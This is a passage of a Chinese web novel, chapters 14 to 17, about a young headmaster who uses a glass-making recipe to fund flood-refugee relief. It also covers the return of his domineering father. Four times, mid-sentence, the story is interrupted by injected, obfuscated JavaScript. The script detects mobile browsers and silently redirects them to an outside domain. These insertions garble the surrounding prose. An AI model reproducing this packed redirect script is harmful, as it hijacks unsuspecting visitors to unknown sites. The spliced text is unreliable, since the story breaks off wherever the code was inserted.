究竟是什么样的人,才能教出如此全能的学生? 到底天赋有多卓绝,才能如海绵一般疯狂的吸收进如此多的内容,仿若生而知晓一般的自然? 这是整个华夏书院上上下下都颇为不解的事情。 新鲜的酸菜羊肉端上来,大家吃的头也不抬。 王厨娘只是尝了一口,便顿时知道为什么童启之前总是嫌弃自己的手艺了。 这样的味道,哪怕是她曾经待过的五品官员之家也从没有尝到过的。 怎么会如此鲜,如此嫩? 整锅的羊肉,被吃的连汤都不剩,充分证明了菜肴的大获成功。 清虚子抹了一把嘴,偷偷问向旁边肚子吃的滚圆的小徒弟。 “如何?留在这里的决定不错吧,光是冲着他这几顿饭,便值了!” 谢羽打了个嗝,立马心虚的捂住嘴,看了看四周,小心翼翼翻了个白眼,道。 “师父,你也太容易被收买了一些,只是几顿吃食而已,未免下结论太早了点。不过……这个书院,确实有些非比寻常,多呆一段时间也好。” 这些日子,他跟着清虚子游历整个大奉朝,风餐露宿,每次都被迫挤在一张床上。 直到来了华夏书院,童启特意给他单独分了一间宿舍,孩子才算是真正睡了个好觉。 暖和、干净、明亮,随手一开就能有热水。 别说是清虚子了,哪怕是琅琊谢氏出身的谢羽,都久违的感觉到被糖衣炮弹融化的征兆。 伊川县这边岁月静好,然而大奉朝内部,却并没有想象中那般安定。 六月一过,朝堂上下争论不休,皆是为了黄河决堤的事情。 涝灾如破势一般,摧枯拉朽,迅速影响了几个州的百姓,破坏农田逾三十万顷,庐舍约数万间,难民大幅度涌入京城、北方等地,民不聊生。 14. 第14章 朝堂上吵作一团。 几位皇子、丞相互相争执着是谁的责任,又辩论着到底该派何人去赈灾的事,六部忙做一团,连伊川等地奉上来的奏疏、新改良农具,都忽视了个彻底,无人理会。 归朝数月的柏大将军冷眼看着文官们争论不休,心内急躁。 他被叫回来,难道就是为了看这些事情吗? 涝灾既已发生了,最重要的,应是及时派遣官员,下去赈灾! 只是吵架,有什么用? 眼看着几人互相踢皮球、谴责着罪处,连争了好几日,都没商讨个具体方案出来,柏大将军忍了又忍,终于还是憋不住,自请带兵,前往灾区。 “圣上,”他冷静的站出位列中,恭敬的行了个礼,“诸位皇子与丞相说的皆有道理,但下官认为,如今最重要的应该是开仓放粮,避□□民北上。失去了理智的百姓,与匪患无异,不能让他们流窜集结到各个城池里去,而是应想办法统一管理,以工代赈,下官愿带兵先行一步,身先士卒,前往赈灾,还请圣上应允。” 柏将军话音一落,几派势力已经纷纷叫嚷开来。 “不可!” “怎能让武将前往?莽夫懂什么?” “从未有过这样的道理,果然粗俗匹夫……” 他们挤在人群里,不敢大声,只敢小声蛐蛐着,可说的话,却听的一清二楚。 柏大将军站定了,充耳不闻,只抱拳等待着皇上的意见。 然而对方却只是坐在帘内,阴晴不定的看着他,半晌,才缓缓否决了他的提议。 下方的胡丞相冷嗤一声,笑话柏弓良的愚蠢。 圣上好不容易才将他扣留在京城,怎么可能又让他带兵出去?忌惮还来不及呢,更不可能把这明摆着立功的机会,又扔回给柏家。 果然,最后争吵一番,赈灾的事,终究还是落到了三皇子头上。 柏大将军失望的回到府内,换了便衣后,前往后花园打拳。 柏夫人端着一盘糕点,缓缓走来。 “又受了什么气?拿那木桩泄愤?快,来尝尝华儿的手艺,刚学了便巴巴的送了过来,多少用些才是。” 柏弓良擦了擦额头上的汗走了过来,随手捏起盘中的芙蓉糕,刚要入口,想起什么,又长叹一口气,重新放了回去。 “圣上的心思是越发难猜了。重文轻武到如此境地,这是要逼得我们这些武将,自请退朝啊!夫人,不如我们干脆不做这劳什子官了,随父亲回伊川如何?” “乱说什么胡话?我们能走,华儿要怎么办?她小小年纪,便丧了母,如今新夫人压在头顶,又不许这个,不许那个的,我们在,多少还能撑着些,可若是走了,岂不是眼睁睁看着她被逼死?” 柏大将军恨恨的锤了一下桌面,隐忍着怒火道,“可恶的岳盛天,当年若是知道他是这个模样,怎么也不会让妹妹嫁给他!害的如今灼华……若父亲还在朝中就好了,他们怎么也不敢如此,这分明是欺负我们家没有文人在朝!” 柏夫人安抚着自己的丈夫,柔声道,“女子在世艰难,一贯如此,谁不是忍过来的呢?熬吧,等熬到及笄,我会替灼华好好找一门亲事,等她嫁出去,便能跳出那个火坑了。” 是吗?真的能跳出吗? 柏大将军泄气不已,只恨自己无用,竟保护不了家人,暗地里则给父亲偷偷写了一封信,告知了朝中的事情,让他早做防备。 河南府,他们距离涝灾发生的地方尚且有些远,可听说了难民之事后,粮价也不免被波及,骤然大涨起来。 知府木奎盛严令所有县城不得允许难民进入,好几个关卡内,更是设置了不少士兵把守,一时间,风声鹤唳,人人心惧。 当然,这些惊惧的人中,并不包括华夏书院的人。 长达三个月的特训学习,汪启元等人可以说是两耳不闻窗外事,一心只读圣贤书。 每日吃饱穿暖、锻炼身体,没有任何忧愁的事情。 童启更是默默积攒各项点数,终于成功的把学术研究的数值逼近到10%,成功爆出了新的建筑解锁任务! 【叮,主线任务:请带领你的学生们救济灾民,达成万人称颂的好名声吧!(0/10000) 成功:奖励解锁食堂一座 失败:无惩罚】 yeah!无惩罚! 他终于把物理抹杀给摆脱掉了!刚开心一瞬,童启立马怔愣过来。 等会儿,救济什么东西? 灾民? 哪儿来的灾民?! 童启连忙叫过来继本叔打听最近发生的事情,得知黄河决堤,难民北上,他险些控制不住自己的表情。 自己所处的年代,黄河早已经被征服许久,很少有决堤改道的时候,这还是他第一次亲身经历如此大的灾祸,自然不容犹豫。 可如何救,怎样救,这是个大问题。 他们书院,总共才不过几个人,自己尚保护不了呢,谈何救济? 又怎样才能达到万人称颂的地步呢? 童启麻了,翻了翻自己这些日子抽出来的小玩意儿,除了校服、横线笔记本等学生用品,剩下的便只有零星几个玻璃球、棒棒糖之类。 毫无用处。 等等……毫无用处? 不见得吧? 童启看着手中晶莹剔透的玻璃球,缓缓露出一个算计的笑容来。 教室里,清虚子正踱着步,满意的看着学生们低头答卷,后背间突然升起一股凉意,让他浑身一激灵起来,如同被什么给盯上了一般,本能的转过脑袋。 河南府,流觞酒楼。 罕见的座无虚席。 一架架高头大马停满了整个街道,挤得人水泄不通。 万盛商会的冯会长、皇商温家的温家主、木知府木奎盛大人、柏盛青柏大人……整个河南府说的上名字的人物,竟然一日之内,全到了场。 店小二哆哆嗦嗦,看着满屋子的大佬,屏息不敢上前。 旁边有闲人胆子大,好奇的打听道,“这吹的是哪门子的风啊?怎么今儿全来了,是有什么大人物要到场吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792127|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也不知道啊?” 流觞酒楼的店东家一头雾水,忙擦着汗,亲自招待着。 二楼的包厢坐满了人,可偏偏几位贵客,却没有一个想要谦让的意思,宁愿加座,也要在这里等人。 他们手中掩袖,或拿着一个木盒,或拿着一只锦囊,像带着什么绝世之宝一般,满脸防备与抵触。 直至温家家主将帖子亮出,才纷纷试探道。 “你也是?” “没错,我也是。你呢,也是因此而来?” 几个人互相打着哑谜,什么也没说,却心照不宣。 他娘的,竟然这么多人。 也是,如此大的生意,绝不可能只一家吞的下,看来是要和几家平分了。 木知府气愤的咬着牙,偷偷摆手,让暗地里的衙役滚回去。本以为能够空手套白狼,谁知道竟是个谨慎的,他看了眼旁边的柏盛青柏大人,哀叹着自己不能吞并的想法,本想离开,可看了看手中的玻璃珠后,又不甘心的默默坐了回去。 合伙便合伙吧,这生意背后可不止一星半点。 乃是暴利啊! 让他这种嗜财如命的人,怎么能轻易放过? 清虚子站在不远处的街角,颤巍巍的抖着两条腿,打量着这里到场的人群,压低了声音问道。 “看清楚了吗,来了几家?” 谢羽翻了个白眼,忍不住回怼道,“邀请的,已经全到场了。看吧,这便是一口饭都没有白吃的道理了,师父,你这下还坚持说,童启是个好人吗?” 谁家好人明明是自己出的主意,却不站出来,让别人背锅的? 谁家好人三言两语竟然能哄的一整个府城的大人物纷纷到场,却毫无怨言的? 在华夏书院呆的越久,谢羽便越发认清了童启的真面目,绝非伪装起来的那般人畜无害。 看似白团子的外表,切开,里面可全都是黑乎乎的内里,坑起人来,绝不手下留情! 偏偏其他人还像是活被洗脑了一般,对他推崇备至。 坚信不疑。 清虚子正是其中之一。 他不悦的看了眼自己家徒弟,不满意对方话中的无礼。 “不准这么说山长,他也是为了我们好,毕竟他身后牵扯的事情实在是太多了,与书院的交集又很容易被查出来。而我,就不同了,道家人的身份,天生使得他们有所忌惮,再加上这个方子,由我说出,也更加顺理成章。” “是是是,就算是山长哪天让你替他顶罪,你估计也会觉得很有道理的,师父,你已经彻底屈服于糖衣炮弹之下了。” “你没有?”清虚子立即嘲讽道,“那你手中的棒棒糖哪儿来的?” 谢羽顿时羞恼,一脚将清虚子给踹了出去,“少废话,该你上场了。” 清虚子踉踉跄跄迈入大厅,看着众人的目光霎时看过来,顿时端起架子,一副世外高人的模样,捋着白须笑道。 “在下清虚子,乃是众位的邀请人。想必大家都是冲着玻璃方子而来的吧?那么话不多说,咱们这就开始。” 15. 第15章 这世界上最难的事,不是赚钱,而是赚聪明人的钱。 与权贵相争,无异于与虎谋皮。 童启深知这个道理。 但救济灾民,你得要钱吧?万人称颂,你得师出有名吧? 这些从何而来? 只能想办法去宰狗大户的钱,让他们自愿贡献出自己的力量才行!那么用什么做诱饵呢?童启想了好久,好不容易才想出个玻璃方子来。 这时的大奉朝,玻璃制作工艺已经有了,但还不算完备,生产出来的玻璃制品往往易碎且斑驳,而越是接近透明,便越是能卖出天价来。童启不过随手抽出来的小玩意儿,放二十一世纪,可能小孩子都不稀罕玩的玻璃珠子,只每家寄一个,便让他们坐不住,亲自上门。 足见暴利。 可童启图的并不只是钱,更多的是为了借此打出学院的名气,救济灾民。 因此合作的势力越多越好,只有盘子越大,提供的岗位才能越多。 流觞酒楼内。 晶莹剔透的玻璃珠被展示在红色的漆柜之上,随着阳光的照耀,闪烁着五彩斑斓的光芒。 美轮美奂。 一旁的店小二和围观的小厮们近乎屏息的盯着,口水都快流出来了,生怕哪个不注意,咳嗽一声,便会当场把这尊贵至极的玩意儿给打碎。 清虚子站在屏风前,把玩着那玻璃珠,向诸位一一展示着。 大脑中则飞快回忆着童启教给他的话术,笑盈盈开口道。 “相信大家都已经检测过各自手中的琉璃珠了,对于它的价值应该也已经有了大致判断。今日我请诸位前来,并没有坐地起价的意思,相反,我愿意将这东西的制作方法,免费分享给大家。” 免费? 众人灼热的目光瞬间集中在清虚子身上,就连流觞酒楼的少东家都忍不住上前了一步,吞咽着喉结。 在场的人互相打量着,皆没有动作。 都是千年的狐狸修成的精,他们怎会不知免费的东西更贵的道理? 钱都不要,那必是要其他的了。 果然,清虚子的下一句话紧跟着的便是。 “只要大家能够满足我一个要求即可。” 柏盛青皱紧了眉头,问出声道。 “你想要什么?” 清虚子从袖中掏出几张纸,一一分发给了众人。 木知府警惕的接过,本以为是什么“诱之以利”的东西,没想到上面写的,却是每个人自愿捐献百分之十的玻璃制品利润用来救灾的合约书。 “这是……” 温家家主疑惑的挑挑眉。 “诸位也知道,我如今在华夏书院教书,这玻璃方子便是在其山长和学生们的支持下发现的,既是借着那地方的光,也理应回馈一二。钱便算了,黄河决堤之后,山长与学生们日夜忧心无家可归的难民,有心救济却无能为力,因此,只要大家愿意将之后生产出来的每一样玻璃制品,分出百分之十的利润,救济给灾民,并以我华夏书院的名义施粥招工,那么,我全体师生便愿意帮助大家一起建设玻璃工厂,并全程免费一对一指导,务必让大家生产出最好的玻璃制品,远销海内外。” 这,便是童启想出来的交换。 用权贵的钱,借权贵的利,可扬的,却是我华夏书院的名。 在场的权贵无一不是聪明人,立刻便知道这是为了刷读书人之间的名声。 可大家能拒绝吗? 不能,且恰恰相反,他们本就是为了钱,不图扬名,像是木知府、柏盛青这样敏感的背景,反而更需要摆脱与民争利的头衔,那么借慈善之口,推华夏书院出来,便成为了最优解。 他们不仅不能动华夏书院,反而还得想尽办法,保护着它才行。 众人心中感慨着清虚子的周全懂事,记恩不忘出处的品性,也不由对沧澜山童启的运道啧啧称奇。 这小子,怎么次次什么都不做,便能被道家的人给带飞?难不成真有什么仙缘吗? 几人纳罕着,倒也不觉的忌惮。 不过一个书院罢了,即便扬名的再厉害,又能造成什么影响呢?总不过多招几个学生,学费再高一些罢了,翻不起什么大浪来。 因此,思索过后,所有人基本上都同意了清虚子的提议,别无二话。 另一边,华夏书院后山处,叮叮当当的声音不绝于耳。 童启带着继本叔一阵咳呛着从高温炉子里钻出来,连忙挥手,等待在旁的谢羽和小花赶紧拉动着风箱,一张张透明的玻璃缓缓凝结起来,成为了各式精致的花样。 汪启元等人好奇的凑过来,等放凉后,才小心翼翼拿起一块敲了敲,确实比一般的琉璃要结实很多。 “原来我们书院的教学楼窗户,便是这样制作出来的啊?” 杨舟万感叹着,称奇不已。 童启虽知晓方子,但还没自己亲自制作过,不确定到底能不能行,虽说有着线上数据文献库作为研究资料,但很多流程,还是要亲自上手,才能知晓。 因此,这几日,他每天蹲在后山研究着。 没想到试验了一段时间后,还真让他和继本叔做出了完美的范本! 因着没有避讳任何学生,所以整个流程大家都看在眼里。 刘卜温眼神闪烁,悄然拉着汪启元到一旁,忧心说道。“山长从不藏私,这是他坦诚以待的品德,可我们却不能不提防,这样的赚钱利器,若轻易流传出去,难免对山长不利,我们应替他警告一下其他人才是。” 汪启元想了想,确实如此,于是在晚自习之后,便主动邀约了所有学生,一起说了这件事。 谁料却遭到了常仕进白眼以待。 “这话用你们讲?山长对我们如何,我们自然是看在眼里的,可不像你们这些商人出身,那么重视利益。要我说别只是口头上约定,倒要像继本叔他们也签一张保密书才是,落于纸上,方知谁有二心。” “你什么意思?” 刘卜温被激的气愤起身,汪启元连忙将他拦了下来,语气也陡然变冷了几分。 “好啊,我赞同。大家既然想法一致,那倒是省了口角,先说好了,山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792128|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长待我恩重如山,他想做的事情,我是无论如何必定要帮他一起完成的,到时候若是有人想拉后腿,临时退缩,可别怪我不讲同门之谊。” “你这话正是我的意思才是。” 几个学生掰着劲儿,皆认为自己才是最为了山长考虑的人,因此纷纷憋着气,想要大干一场。 等童启整理好想法,确保了玻璃的制作流程无误之后,这才在课堂上宣布了这次的课外实践活动。 丝毫不知道自己的用意早已经暴露无遗。 他耐心的向大家解释着。 “学习不能只是纸上谈兵,你们学了这么久,远离真正的百姓,很容易曲高和寡,与大众形成隔阂,这一次的实践活动,是想让你们就近了解一下民生疾苦,体验一下各地的风土人情,不强求参加,但只要参加的,都会给大家一些行动津贴,作为报偿……” “山长,我们不需要钱,都愿意去!” “没错,我们都想要参加!” 不等他话落,教室里已经纷纷踊跃的举起手来。 童启一喜,连忙将几个任务分给了众人,看着大家热火朝天的样子,成就感十足。 于是,在其他府还忧愁着如何解决难民的问题时,河南府已经开始偷摸搞起经济来。 不少百姓悄然发现,市场里一下子涌入了很多招工的人。 不仅城东城西被圈出了好几块地,说要盖什么大型的工厂,连几家权贵也开始日日往外跑,说是研究什么新的生意。被雇佣的闲散汉子工钱翻了好几倍,可即便如此,仍然供不应求。盖房子的、搬砖的、扛木头的、搅拌石英砂的……哪里都需要人!搞到最后,不少地方连妇人也开始收起来,只要能干活,钱给的一样! 这可让不少文人都炸开了锅。 “荒唐,他们这像什么样子?一点礼义廉耻都不要了?” “哪里就需要那么多人干活,到底神神秘秘在搞什么?” “良家女子怎能抛头露面!不像话,实在是不像话!” …… 可即便那么多人议论纷纷,有着知府大人撑腰,权贵做投资商,清虚子依旧全程顺利的不行。 偶有遇到几个眼红的,也很快被压下去,不敢再动。 不到一周,几个玻璃厂房便迅速建好了。 第一波成品被做出,美的在场的人,都忍不住掐紧了自己的手心。 扣除了几家权贵用来送礼的部分,当晚,所有货物被小心包好,直接用大船送往了北方。 柏盛青坐在书桌内,沉思着手里的玻璃珠。他没有建厂,只是跟随着入了几个股。但凡有见识的,对于这玻璃生意能赚钱的前景,都不会质疑,可这背后之人的目的却总让他有几分在意。 真的是清虚子吗?他不觉得。 一个道家人,充其量能拿出这方子,却不会借此扬名。 这背后之人,明显着有更大的图谋。 玻璃珠在手心里光华流转,温润如玉,可他却隐隐感觉有一个人站在暗处,窥伺着整个河南府的经济,翻手为云,覆手为雨。 16. 第16章 饥饿,缺水,疲倦。 一切一切极致的痛苦感受,几乎占据了刘默所有的思绪。 他的两条腿已经分不清左右,只是僵硬的在跟随人群支撑前行,胃中像是被长指甲抓挠过一般,不断抽痛着。 家被淹没,尸体累积了一整个河道,父亲死了,母亲死了,村长也死了。 他只得背井离乡,带着妹妹北上,跟随乡民一起逃难。 最初,人们还只是啃食野草青菜,后来便逐渐衍变为什么都吃,朝廷的赈灾粮久等不到,每个城池见到他们便大门紧闭,不肯收留,目光所及之处,荒芜人烟,饿殍遍地。 他们只能继续往前走,不断的走。 不敢停,也不能停。 他感觉自己已经快要撑不住了,可却不放心孤零零的妹妹,于是只能强迫着自己一次又一次清醒,强挺着精神。 “刘家小子,前方就是分岔口了,你们打算往哪里走?河南府虽离得近,可那知府是出了名的爱财如命,咱们即便去了,他也未必会开城门,倒是再撑一撑,就可以到达京城,那里是天子脚下,总不可能不管咱们。” 人群里的王伯颤颤巍巍走过来,询问刘默的主意。 他瞥了一眼队伍里领头的王强等人,坚定的选择了相反的路。 “我们要去河南府。” 他护紧了身后的妹妹,一脸防备。 “唉,你小子,何必那么倔强,那王强跟随的人多,你妹妹若嫁过去,何尝不也是一种保护?只靠你自己一个人,还是太难了。” “我答应过父亲,一定会让妹妹三媒六聘嫁出去。” 王伯叹了口气,“也罢,既如此,我跟你们一起走,反正我也没多少日子可活了,与其跟着他们沦为食物,还不如跟着你。” 刘默看了眼恐惧不安的妹妹,拉紧了她的手,直接带着人从另一条路离开。 王强等人冷漠的看着,嘲讽的冲着地上啐了口唾沫。 连走了几日他们都没有看到村庄,眼看着手中的食物已经见了底,队伍里生病的越来越多,刘默心中不由绝望起来,觉得是自己做出了错误的决定,这才拖累了大家。 突然,旁边的人惊讶的指着前方的亭子道。 “是不是有人在煮粥?我好像闻到了食物的味道!有人,真的有人!” 空气中隐隐的麦香,令他们瞬间激动起来,连滚带爬的往前跑。 刘默连忙搀扶起病弱的妹妹,踉跄着往前。 果然见到那凉亭内支着两个木桌,有书生坐在桌前,正记录着什么,旁边还支着两口大锅,锅里尽是浓稠的粥米,一白幡插立在地上,上书着几个不知道是什么的字样。 妹妹睁大了眼,迷迷糊糊的看着那几个字,因为小时候读过几日书,勉强认了出来。 “华夏书院救济点……” 救济点? 这名字好奇怪,不过怎么会是书院来救济?政府呢? 不等他们疑惑,那书桌前的书生已经热情的开了口。 “诸位便是南方来的百姓吧?我们是华夏书院的学生,奉山长之命,施粥救济,只要在这里登记姓名,便可免费领取。如今县城里的玻璃工厂正在招工,不仅包吃包饭,每月还给100文银钱,如果有考虑的话,也可以在此登记哦。” 招工? “我们也可以吗?”王伯惊呼道。 “当然!现在正是用人的时候,多多益善,且还有的选呢。” 几碗暖粥入肚,刘默与妹妹等人只感觉入坠梦中,而到了伊川县,才知晓书生口中的“有的选”是什么意思。 “是南边来的吗?找工作不,我们这里要两个店小二,一个月80文钱!” “去去去,80文骗鬼呢?几位,来我们这里吧,不仅包吃包住,每个月还给200文,只用挖煤就行!” “识字不,先问一下识字不?我们玻璃厂急需识字的,待遇顶级,考虑一下!” …… 一大堆掌柜管事如同狼见到了羊一般瞬间围了上来,不到几秒钟,便迅速瓜分了进城的难民。 刘默和妹妹看的目瞪口呆,心中也同时对【华夏书院】这个名字,感到了深深的敬畏。 【叮,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795899|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望值+236】 【叮,桃李满天下系统升级至level.4】 【叮,主线任务:请带领你的学生们救济灾民,达成万人称颂的好名声吧!(5667/10000)】 童启坐在书院里,翘着二郎腿看着进度条一路飙升,轻松而惬意。 就是这样! 这就是教育学生的好处之一了,压根不用自己出面,便能够轻松达到扬名的目的! 这几日的华夏书院,可以说是站在了河南府的风口浪尖上,属实被好几个文人群体给盯上了,狠狠问候了好几次,就连王举人都忍不住敲边鼓,想问问他到底是怎么做到的,帖子给他下了好几遍,全让他给推拒了。 清虚子忍不住感叹起来,“都说木秀于林,风必摧之,我算是知道你为什么手握玻璃方子这种暴利的东西,却不选择自己做,而是拱手相让,借力扬名了。” 只是沾点边而已,便有如此多的人眼红记恨。 若他们知晓这背后一切,竟然都是一个十岁的孩童所操纵的,只怕生吞活剥,原形毕露也是有可能的。 童启笑了笑,躺在那老头椅上晒着太阳,并不答话。 深藏功与名。 书院开了这么久,每日讲课、查资料、补习,他早就想闲下来好好休整几日了,正当他闭上眼睛,准备偷个懒时,突然,门口又传来了继本叔的声音。 “山长,你父亲回来了!” 你父亲才回来了呢,我爸都死了十几年了! 童启无语的抽了抽嘴角,几秒后才突然反应过来,对方说的应该是原身那个出去走镖大半年,杳无音讯的人,而不是自己21世纪的亲爹。 他陡然坐起身,这才看到一个大概三四十岁长相的粗犷男人正站在廊下,皱着眉,紧盯着自己。 旁边的继本叔偷偷使着眼色让童启叫人。 他犹犹豫豫的开口,正尴尬着,不知道该喊什么,对方却突然大声斥责道。 “孽障,还不跪下?谁让你撺掇你着你母亲和弟弟妹妹上山来的?” 童启:…… ? 17. 第17章 在童启的人生中,关于父亲的记忆其实是非常少的。 很多时候,这两个字往往代表着其他的含义,酗酒、赌博、欠债、抛弃……以及很早就死去了的人物。 他之所以能够快速接受童母、弟弟妹妹,是源于来到这个世界上,第一个睁开眼看到的便是他们,其次,则是从这些人身上感受到了浓浓的重视与爱意。 可对于突然冒出来的爹,他就有点不太适应了。 尤其是这个爹还是那种典型的封建大家长,疯狂打压子女,妄想从孩子们身上获得掌控感以及威严的类型,那便更容易得到童启的反感。 “抱歉,这些日子,让他给大家添麻烦了,是我教子无方,没有好好管教,孽障,还不快给你继本叔道歉?” 童石磊领着童启站在沧澜村村长的门前,强压着他给所有人赔礼,吓得童继本和其他村民们手足无措,连忙摆手道。 “不不不,童小子乖的很,从来没有冒犯过我们,他继本叔是自愿去那书院干活的。” “对呀对呀,倒是我们反应该感谢童小子才是,因为他,连带着我们村子都富起来了许多呢!” 大家都不是傻子,自华夏书院开始教书后,村子里每日的蔬菜瓜果都不用再辛辛苦苦背到县城里去卖了,光是学校食堂便能消耗一大批,且价格还十分公道!来往的行人商贾便多了,偶尔还有权贵来此踏青,顺带着村子里其他的农副产品也能捎带卖出一些,再加上每日山上传下来的朗朗读书声,别说他们,就连村口的皮小子们这段时间都安静了不少,偶尔还能冒出一两句诗词来,令人惊喜不已。 他们感激还来不及,哪里会觉得冒犯? 可童父却不这么认为,他觉得这只是村民们碍于面子,不好责怪一个十岁的黄口小儿。因此强拉着童启转了满村,一一致礼,这才回了家,关上门,再次训斥起来。 “不要以为你学了点东西就多么厉害,可以看不起长辈四邻了,还给别人当老师?实在是胆大妄为!那县试,谁知道你是走了什么狗屎运考上的?不说藏着掖着点,反倒整的县府上上下下,闹出这么大的动静,你才几岁,就敢雇佣村民们做买卖?谁给你的权力!” “父母既在,所有事情你都需要跟家里商量一二才对,竟然还让你母亲和弟弟妹妹跟你一起住山里,那是你的书院吗?明明是你那师父的才对,况且,和道家的人走的近有什么好处?那都是一群骗子!” “前几日,听闻你竟然还敢和你二舅吵嚷争论?真的是翅膀硬了,那话,你母亲能说,你却不能说!过几日我买点歉礼,你跟着我一起上门道歉,不准乱出风头。” 童启无语的听着,不觉生气,只觉吵嚷心烦。 “我不去,我过两日要去县城里查看救济灾民的事情。” 他平静的阐述道。 童父骤然皱紧了眉头,“那灾民跟你又有什么关系?你当我不知道?那玻璃方子是你们书院的清虚子搞出来的,他挂了你们华夏书院的名字,不过是看在你师父的面子上罢了,用得着你去参与其中?不准去。” “还有那书院的事,趁早辞掉为宜。人贵有自知之明,别人夸你几句,你就觉得自己真的能行了吗?若是耽误了那些学生们,你要如何负责?那么大一所书院,即便是你师父的嘱托,你也应该再三推辞不受才对,伊川县多少能人异士?哪个做的不比你好?让大人们去管理,你以后就坐在家里好好读书,教教你的弟弟妹妹们便够了。” 忍了再忍,童启实在是难以忍下去了,憋着气反问道。 “抱歉,你可能不太清楚一些事情。这书院不是我说想管或者不想管就能够决定的。这些学生付了学费,雇佣的人拿着月钱,救济的灾民每日施粥领取花费的金额……加一起,说出来的数字,可能你未必敢信。你说停就停?好哇,后续损失谁来付?那些学生家长谁去解释?县令知府谁去交差?你想阻止,依靠你父亲的身份,大可去跟他们讲一下试试,看他们同意与否,跟我讲,没用的。” 见两人剑拔弩张,童母连忙横贯在其中,拉了拉自家的儿子,温柔劝慰道。 “他爹,确实如启儿所说,这些事情,都是别人给他安排的,无法拒绝!这段日子其实他也很累,每日什么都需要操心,我们既帮不上忙,还是莫添乱的比较好。” “什么叫添乱?老子难不成还管不了他了?既知道不行,那你当时就应该提醒他才是,没有那个能力,瞎承诺什么?现在好了,反倒成了全县城的笑柄了!” 童父气愤道,深感自己被下了面子,一抬手,直接将童母重重的推开到一旁。 他不懂,不过半年的时间,他这个父亲怎么就一下子退居二线,威信全无了,不仅村子里的人全向着长子,就连妻子这里也不听他的话,一味拉偏架。这让他敏感的心思,一下子被点燃,急需什么来证明自己一家之主的地位。 童启担忧的上前扶起童母,终于忍不住嗤笑一声。 “冲着家里耍威风,算什么本事?你到底是不服我,还是不服你自己?说到底,你也就只能朝着我去发泄你所谓的权威罢了?遇到外人,便一句话都不敢说了?” “你你你……你给我滚出去!” 童父怒气上头,四处寻板子便想要行家法,吓得童母连忙推搡着童启离开。 童父将这股火后续一股脑发泄在了童母身上。 “谁许你去帮忙的,家里的事情不管了吗?那是他的书院还是你的书院?他愿意丢人,让他自己去做,等撞了南墙,自然知道错的有多离谱!” 童母憋着气不敢回嘴。 三个多月住在书院的日子,美好的如同一场幻境,每天听着读书声,管理着财务往来,没有孩子缠绕着,也不必惶惶担心着丈夫的事,她头一次感觉到了自己还能以其他的身份去生活在这个世界上。 而非“童母”两个字。 但习惯于屈从丈夫的命令,使得她不敢多言,只得默默认下。 长子的脱离管控,令童父头一次感觉到了权力的流失,于是干脆逼得童母及小儿子等硬是重新又搬回了山下。 和童启分开来住。 以免回头长子出了什么事,连累了家里。 童村长操碎了心,多次上门劝阻,可是童父为了自己的面子,却依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801995|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧咬紧了牙,并不松口。 不松口便不松口吧。 父权时代,童启也没得办法,只能重新将童母的工作又接了回来,自己承担。 于是,一瞬间,他几乎被分成了三份,每日忙的脚不沾地,清闲的时光,也再一去不回。 - 灾民像是丧尸围城一般拥挤向每个县城,随着流动的地点不断变化,受灾的范围也逐渐扩大,造成的损失不计其数。 有时候和暴民不过一字之隔。 很多地方接连起了民变,需要镇压,唯独河南府像是一个蓄水池一般,无论注入了多少灾民都直接吸收了,倒成为了几个州府里独特的一道风景。 三皇子的赈灾之旅很是吃力,走到沧州的时候,赈灾银子便已经消耗的差不多了,可灾民们却救济了还不到十分之一。随后,不满的人集结起来,直接拉起大旗反了,趁着大半夜屠杀了整个县衙的官员,□□烧,围困了整个沧州! 听闻这个消息后,朝野大惊。 没办法,只得派柏大将军前往救援。 可兵力,却只给了五百人。 “五百兵?那能做什么!光是沧州的反民如今便有百万!这是明摆着要舅舅的命吧!”岳灼华急得在闺阁里来回踱步,吓得旁边望风的丫鬟连忙止声。 “小姐欸,这话可不能乱说啊!” 